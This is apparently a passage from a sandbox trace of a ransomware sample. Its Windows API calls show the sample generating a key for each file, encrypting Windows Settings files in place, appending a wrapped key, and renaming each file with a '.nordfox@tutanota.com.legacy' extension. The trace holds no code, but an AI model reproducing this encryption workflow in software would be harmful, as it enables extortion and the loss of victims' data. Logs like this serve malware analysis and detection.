pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.600] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.600] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.601] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.601] CloseHandle (hObject=0x1c24) returned 1 [0199.601] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPrivacyLocationHistory.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupprivacylocationhistory.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPrivacyLocationHistory.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupprivacylocationhistory.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.603] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.603] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.603] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPowerAndSleepSleep.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.604] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x488, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x488, lpOverlapped=0x0) returned 1 [0199.616] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.616] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x488, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x488, lpOverlapped=0x0) returned 1 [0199.617] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x488 [0199.617] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.617] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.617] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.618] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.618] CloseHandle (hObject=0x1c24) returned 1 [0199.618] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPowerAndSleepSleep.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouppowerandsleepsleep.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPowerAndSleepSleep.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouppowerandsleepsleep.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.621] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.621] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.621] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPowerAndSleepDisplayOffAoAc.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.622] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4b5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4b5, lpOverlapped=0x0) returned 1 [0199.623] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1205, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.623] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4b5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4b5, lpOverlapped=0x0) returned 1 [0199.624] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4b5 [0199.624] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.624] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.624] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.624] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.625] CloseHandle (hObject=0x1c24) returned 1 [0199.625] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPowerAndSleepDisplayOffAoAc.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouppowerandsleepdisplayoffaoac.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPowerAndSleepDisplayOffAoAc.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouppowerandsleepdisplayoffaoac.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.627] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.627] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.628] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPowerAndSleepDisplayOff.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.628] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4a1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4a1, lpOverlapped=0x0) returned 1 [0199.629] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1185, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.629] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4a1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4a1, lpOverlapped=0x0) returned 1 [0199.630] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4a1 [0199.630] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.630] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.631] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.631] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.631] CloseHandle (hObject=0x1c24) returned 1 [0199.632] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPowerAndSleepDisplayOff.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouppowerandsleepdisplayoff.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPowerAndSleepDisplayOff.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouppowerandsleepdisplayoff.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.634] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0199.634] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.634] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPersonalizeColorChoose.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.635] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x48f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x48f, lpOverlapped=0x0) returned 1 [0199.636] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1167, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.636] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x48f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x48f, lpOverlapped=0x0) returned 1 [0199.636] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x48f [0199.637] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.637] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.637] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.637] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.638] CloseHandle (hObject=0x1c24) returned 1 [0199.648] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPersonalizeColorChoose.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouppersonalizecolorchoose.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPersonalizeColorChoose.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouppersonalizecolorchoose.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.653] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0199.653] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0199.653] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPen.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.653] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x434, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x434, lpOverlapped=0x0) returned 1 [0199.654] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1076, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.654] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x434, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x434, lpOverlapped=0x0) returned 1 [0199.655] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x434 [0199.655] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.655] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.655] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.656] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.656] CloseHandle (hObject=0x1c24) returned 1 [0199.656] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPen.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouppen.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPen.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouppen.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.658] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.658] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0199.658] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPCSystemWindowsInfo.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.658] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x482, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x482, lpOverlapped=0x0) returned 1 [0199.659] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1154, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.660] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x482, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x482, lpOverlapped=0x0) returned 1 [0199.660] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x482 [0199.660] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.660] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.660] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.661] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.661] CloseHandle (hObject=0x1c24) returned 1 [0199.661] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPCSystemWindowsInfo.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouppcsystemwindowsinfo.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPCSystemWindowsInfo.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouppcsystemwindowsinfo.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.663] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0199.663] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0199.663] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPCSystemSupportInfo.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.663] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x486, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x486, lpOverlapped=0x0) returned 1 [0199.665] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.665] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x486, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x486, lpOverlapped=0x0) returned 1 [0199.665] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x486 [0199.665] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.665] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.665] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.666] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.666] CloseHandle (hObject=0x1c24) returned 1 [0199.666] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPCSystemSupportInfo.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouppcsystemsupportinfo.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPCSystemSupportInfo.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouppcsystemsupportinfo.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.668] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0199.668] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) 